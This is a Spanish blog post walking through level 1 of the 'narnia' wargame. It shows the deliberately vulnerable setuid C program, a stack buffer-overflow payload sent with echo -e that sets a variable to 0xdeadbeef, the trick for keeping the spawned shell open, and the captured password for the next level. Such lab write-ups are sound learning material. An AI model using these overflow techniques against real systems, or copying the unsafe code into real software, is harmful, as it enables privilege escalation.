Hace tiempo intenté hacerme el wargame Leviathan de intruded.net (cuando @roman_soft lo publicó en twitter) sin mucho éxito. La verdad es que nunca había jugado a un juego así y no tenía muy claro cómo hacerlo.

El otro día me picó otra vez la curiosidad y me decidí a hacerlo, con algo de ayuda, si hacía falta (que hizo :)).

Si os pilla la curiosidad y queréis ir pillando la gracia de este tipo de juegos y lo que se aprende de ellos (que para eso se juega, realmente) podéis echar un ojo a la solución por @joseselvi.

Podéis ir intentando resolverlo vosotros mismos y, si os atrancáis leed hasta que os venga la inspiración.

Pero bueno, este artículo no va precisamente de este juego sino del siguiente en dificultad que publica intruded. Se trata de narnia. Este lo he empezado a hacer yo solo y, si la solución está por ahí, yo aún ni la he buscado.

El objetivo es, igual que en el anterior, ir consiguiendo acceso a cuentas de otros usuarios. Se empieza con el usuario level1 y el objetivo es conseguir level2 y así sucesivamente.

Para ello, suele haber unos ficheros en /wargame con setuid a los que hay que encontrar alguna vulnerabilidad, truco o lo que sea que haga que puedas impersonar al otro usuario lo suficiente como para leer un fichero .passwd en su directorio personal.

En el caso de narnia te dan el código fuente del ejecutable para ayudarte a encontrar la solución.

Sin más dilación, os describo como resolví el nivel 1.

LEVEL1

Lo primero que debéis hacer es entrar en el servidor:

ssh -p 10102 level1@narnia.intruded.net

La contraseña es ‘narnia’.

El fichero que nos interesa es /wargame/level1. Si lo ejecutamos nos pregunta
por un valor para convertir una cadena en otra (???).

Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance:

Si echamos un ojo al código, entendemos que se trata de un desbordamiento de búffer que debemos hacer al array buf para que cambie la variable val.

#include <stdio.h>
#include <stdlib.h>
 
int main(){
        long val=0x41414141;
        char buf[20];
 
        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);
 
        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);
 
        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }
 
        return 0;
}

Por lo tanto tenemos que introducir 24 caracteres, 20 para llenar buf y 4 para cambiar val. Los primeros veinte caracteres dan igual, así que centremonos en los 4 últimos. Para extraer los valores he usado irb, la interfaz interactiva de ruby (en mi equipo, no en narnia).

$ irb
>> val=[0xde, 0xad, 0xbe, 0xef]
=> [222, 173, 190, 239]
>> val.map { |c| c.chr }
=> ["\336", "\255", "\276", "\357"]
>> val.map { |c| c.chr }.reverse
=> ["\357", "\276", "\255", "\336"]
>> val.map { |c| c.chr }.reverse.join
=> "\357\276\255\336"

Después de probar varias veces te das cuenta de que los caracteres entran al revés en val, de ahí el reverse. Y ahora sólo hay que probarlo. Pero hay un problema, estos caracteres no son imprimibles (por eso aparecen en octal). Por lo tanto, ¿cómo se los metemos al fichero.

Si probáis a imprimirlos y capturar de la pantalla, no os va a funcionar. Entonces, envíémoslos con una redirección:

echo -e "00001111000011110000\357\276\255\336" | ./level1

Bieennn… ya somos level2, ¿verdad? Comprobemoslo:

level1@narnia:~$ id
uid=1001(level1) gid=1001(level1) groups=1001(level1)

Ups. ¿Qué ha pasado? Pues que cuando ./level1 se ‘convierte’ en /bin/sh espera recibir la entrada estándar, pero esta está conectada a la salida de echo que se ha acabado, así que esta shell se acaba también y no somos capaces de usarla :(.

Por mucho que intenté meter los caracteres directamente, no pude hacerlo. Así que probé y probé y busqué y busqué. Encontré la solución en esta pregunta de StackOverflow. Así que hice lo siguiente:

echo -e "00001111000011110000\357\276\255\336" > /tmp/dead
(cat /tmp/dead; cat) | ./level1
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00001111000011110000ᆳ�
val: 0xdeadbeef

Ahora sí que tenemos una shell con level2:

id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1)
cat /home/level2/.passwd
eij0OoG+

Y esta es la contraseña para el siguiente nivel. Ya os contaré si consigo pasarlo.